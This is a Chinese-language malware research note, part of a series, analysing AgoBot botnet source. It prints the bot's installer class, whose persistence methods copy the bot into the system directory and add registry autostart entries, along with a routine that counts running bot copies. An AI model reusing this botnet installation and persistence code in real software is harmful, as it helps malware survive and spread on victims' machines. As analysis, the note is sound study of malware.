AgoBot 僵尸网络研究笔记（十一）

 

十一、2008年3月18日

作者：青青子衿

email：anzijin@sina.com

1、 分析Cbot的成员函数 bool   CBot :: HandleCommand ( CMessage  * pMsg ) 时，遇到关于   CInstaller 类的障碍，于是先分析   CInstaller 类

class   CInstaller

{

public :

  bool   CopyToSysDir ( CString  & sFilename );

  bool   Install ();

  bool   Uninstall ();

#ifdef  WIN32

  bool   RegStartAdd ( CString  & sValuename ,  CString  & sFilename );

  bool   RegStartDel ( CString  & sValuename );

#endif

  CString   m_sSysDir ;

};

该类有5个成员函数， 和一个CString类型的成员变量

2、 int   GetCopies ( CString  & sFilename )   函数

/

//

//函数功能：得到系统中公有几个相同的bot在运行

//参数：   CString &sFilename  BOT 的文件名称

//返回值：   返回bot进程的数目

//

/

int   GetCopies ( CString  & sFilename )

{

#ifdef  WIN32

  char   cFilename [ MAX_PATH ]; 

  GetModuleFileName ( GetModuleHandle ( NULL ),  cFilename ,  sizeof ( cFilename ));

 

  //查找在系统中总共有几个该程序备份在运行

  if ( fCreateToolhelp32Snapshot  &&  fProcess32First  &&  fProcess32Next )

  {  

    psnap = fCreateToolhelp32Snapshot (2, 0);

    if ( psnap != INVALID_HANDLE_VALUE )

    {  

      int   copies =0; 

      pe32 . dwSize = sizeof ( PROCESSENTRY32 );

      if ( fProcess32First ( psnap , & pe32 ))

      {  

        do  {   if (( strncmp ( cFilename +( strlen ( cFilename )- strlen ( pe32 . szExeFile )), 

            pe32 . szExeFile ,  strlen ( pe32 . szExeFile ))==0) || 

            ( strncmp ( sFilename ,  pe32 . szExeFile ,  strlen ( pe32 . szExeFile ))==0))

           

              copies ++; 

        }  while ( fProcess32Next ( psnap , & pe32 )); 

      }

     

      CloseHandle ( psnap );

      return   copies ;   //返回系统中运行的bot的数目

    }

    else   return  0; 

  }

  else   return  0;

//Linux平台下，

#else

  //在linux平台只能判断有没有，不能判断，具体的数目。

  char   szCmdBuf [4096]; 

  sprintf ( szCmdBuf ,  "ps ax | grep %s | grep -v grep > psaxtemp" ,  sFilename . CStr ());

  system ( szCmdBuf );  //执行系统命令，将当前系统中的进程名称包含该文件名sFilename的进程，写入psaxtemp文件。

  FILE  * fp = fopen ( "psaxtemp" ,  "r" );  //打开保存有进程信息的文件

  if (! fp )

  {

    //如果文件打开失败，返回0

    return  0;

  }

  //获得文件的长度

  fseek ( fp , 0,  SEEK_END ); 

  long   lFileSize = ftell ( fp ); 

  fseek ( fp , 0,  SEEK_SET );

 

  if ( lFileSize >0)  //如果文件大于0返回1。

  {

    return  1;

  }

  fclose ( fp );  system ( "rm -f psaxtemp" );  return  0;

#endif  // WIN32

}